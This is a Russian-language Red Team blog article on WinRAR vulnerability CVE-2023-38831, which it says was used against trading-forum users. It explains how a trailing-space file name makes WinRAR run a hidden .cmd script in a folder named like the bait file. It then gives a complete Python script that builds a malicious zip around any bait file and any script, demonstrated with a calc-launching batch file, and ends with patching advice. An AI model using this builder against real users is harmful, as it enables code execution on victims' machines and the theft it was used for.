WinRAR CVE-2023-38831
Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.
Введение
10 июля 2023 года при исследовании распространения троянского ПО под названием DarkMe, специалистами из Group-IB была обнаружена раннее неизвестная уязвимость в WinRAR, которая касалась обработки zip-архивов. Данная уязвимость получила идентификатор CVE-2023–38831. С помощью этой уязвимости, по данным специалистов Group-IB, злоумышленники производили атаку на пользователей трейдерских форумов с апреля 2023 года. После заражения устройств пользователей, злоумышленники выводили деньги с брокерских счетов жертв. В этой статье мы разберемся, в чем кроется уязвимость и как её можно проэксплуатировать.
Этапы эксплуатации уязвимости
Срабатывание уязвимости делится на два этапа:
Жертва нажимает на файл-приманку.
Срабатывает скрипт, который расположен в одноименной папке.
Подробное описание эксплуатации
После того, как пользователь нажмет на файл, WinRar пройдёт по каталогу в zip-файле, сравнит dir_entry→name (dir_entry здесь структура данных, представляющая собой каталог, а name — имя файла в директории) с click_name (имя файла, по которому щелкнули).
Поскольку длина входящего сравнения равна длине click_name, сравнения типа "bait_file.pdf "
и "bait_file.pdf \\\\bait_file.pdf .cmd "
будут совпадать. Поэтому, если в архиве есть папка с тем же именем, что и у файла, по которому щелкнули, функция сравнения вернет 1, чтобы указать совпадение. Впоследствии файл .cmd
вместе с pdf-файлом будут распакованы в TEMP-папку.
Найденные приведенной выше функцией файлы передаются в функцию ShellExecuteExW.
Из-за этой ошибки, можно заставить WinRAR запустить .cmd файл следующим образом:
Создаем папку с тем же названием, что и наш файл-приманка.
В созданной папке создаем скрипт-файл с названием что и у файла-приманки, только добавляем в конец
.cmd.
Таким образом, в функцию ShellExecuteExW будет передан помимо файла-приманки, файл
bait_file.pdf .cmd.
Обратите внимание, что в конце файлов стоит пробел!
Написание эксплоита
Для начала, напишем простой bat-файл, который будет выполняться:
calc &
bait_file.pdf
При выполнении этого файла откроется калькулятор и сам pdf-файл.
Приступим к написанию эксплоита. Сначала импортируем необходимые библиотеки:
import shutil
import os, sys
from os.path import join
import argparse
После этого определим переменную, которая будет служить для названия временной папки, содержимое которой будет позже архивироваться, а также создадим парсер аргументов:
TEMPLATE_NAME = 'tmp'
parser = argparse.ArgumentParser(description='PoC of CVE-2023-38831')
parser.add_argument('--bait_name', dest='bait_name', help='Имя pdf-приманки')
parser.add_argument('--script_name', dest='script_name', help='Имя скрипт-файла')
parser.add_argument('--output', dest='output_name', help='Имя конечного архива')
args = parser.parse_args()
bait_name = args.bait_name
script_name = args.script_name
output_name = args.output_name
Далее мы создаем папку, закидываем туда файлы и архивируем:
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, bait_name + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(script_name), join(d, bait_name+"A.cmd"))
shutil.copyfile(join(bait_name), join(TEMPLATE_NAME, bait_name+"B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
На этом этапе у нас получается следующий архив:
Т.е. у нас есть наш файл-приманка bait_file.pdfB и каталог bait_file.pdfA с файлом bait_file.pdfA.cmd.
Теперь нужно изменить содержимое архива так, чтобы наш pdf-файл и каталог назывались одинаково. Штатными средствами это сделать не получится, так как будет ошибка «Файл с таким названием уже существует». Поэтому мы поступим следующим образом: откроем zip-файл в режиме «rb» (чтение байтов), заменим названия файлов на необходимые, и запишем новый файл в режиме «wb»:
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(bait_name + b"A", bait_name + b" ")
content = content.replace(bait_name + b"B", bait_name + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(output_name, "wb") as f:
f.write(content)
Теперь передадим этот архив на windows-машину и попробуем открыть pdf-файл в winrar:
Видим, что у нас открылся калькулятор и сам pdf-файл, т.е. наш скрипт-файл выполнился успешно.
Полный листинг эксплоита:
import shutil
import os, sys
from os.path import join
import argparse
TEMPLATE_NAME = 'tmp'
parser = argparse.ArgumentParser(description='PoC of CVE-2023-38831')
parser.add_argument('--bait_name', dest='bait_name', help='Имя pdf-приманки')
parser.add_argument('--script_name', dest='script_name', help='Имя скрипт-файла')
parser.add_argument('--output', dest='output_name', help='Имя конечного архива')
args = parser.parse_args()
bait_name = args.bait_name
script_name = args.script_name
output_name = args.output_name
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, bait_name + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(script_name), join(d, bait_name+"A.cmd"))
shutil.copyfile(join(bait_name), join(TEMPLATE_NAME, bait_name+"B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
bait_extension = b"." + bait_name.split(".")[-1].encode("utf-8")
print(bait_extension)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(bait_extension + b"A", bait_extension + b" ")
content = content.replace(bait_extension + b"B", bait_extension + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(output_name, "wb") as f:
f.write(content)
Также, эксплоит работает и с другими видами файлов, например, txt, png, jpg.
Рекомендации
К этой уязвимости подвержены все версии WinRAR < 6.23. Для того, чтобы обезопасить себя, необходимо обновить ПО до последней версии. Самую свежую версию можно найти по следующей ссылке.
Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam